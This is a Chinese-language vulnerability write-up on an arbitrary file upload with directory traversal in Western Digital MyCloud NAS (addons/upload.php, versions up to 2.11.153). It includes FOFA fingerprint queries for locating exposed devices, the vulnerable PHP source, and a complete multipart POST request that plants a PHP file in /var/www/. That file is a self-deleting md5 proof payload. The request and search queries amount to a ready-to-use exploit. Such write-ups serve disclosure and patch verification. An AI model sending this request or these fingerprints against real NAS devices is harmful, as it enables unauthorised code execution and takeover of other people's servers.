漏洞简介
Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS addons/upload.php中存在文件上传漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "
漏洞分析
直接看 /addons/upload.php 其业务实现逻辑如下
<?php
//if(!isset($_REQUEST['name'])) throw new Exception('Name required');
//if(!preg_match('/^[-a-z0-9_][-a-z0-9_.]*$/i', $_REQUEST['name'])) throw new Exception('Name error');
//
//if(!isset($_REQUEST['index'])) throw new Exception('Index required');
//if(!preg_match('/^[0-9]+$/', $_REQUEST['index'])) throw new Exception('Index error');
//
//if(!isset($_FILES['file'])) throw new Exception('Upload required');
//if($_FILES['file']['error'] != 0) throw new Exception('Upload error');
$path = str_replace('//','/',$_REQUEST['folder']);
$filename = str_replace('\\','',$_REQUEST['name']);
$target = $path . $filename . '-' . $_REQUEST['index'];
//$target = $_REQUEST['folder'] . $_REQUEST['name'] . '-' . $_REQUEST['index'];
move_uploaded_file($_FILES['file']['tmp_name'], $target);
//$handle = fopen("/tmp/debug.txt", "w+");
//fwrite($handle, $_FILES['file']['tmp_name']);
//fwrite($handle, "\n");
//fwrite($handle, $target);
//fclose($handle);
// Might execute too quickly.
sleep(1);
?>
三个参数均未过滤或校验直接参与文件上传保存文件路径操作,形成目录遍历+任意文件上传漏洞,允许攻击者可控文件路径及内容。
漏洞复现
POST /web/addons/upload.php HTTP/1.1
Host: west.nas.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="folder"
/../../../../../../../../var/www/
------WebKitFormBoundary
Content-Disposition: form-data; name="name"
1
------WebKitFormBoundary
Content-Disposition: form-data; name="index"
2.php
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.png"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--
访问上传文件 1-2.php


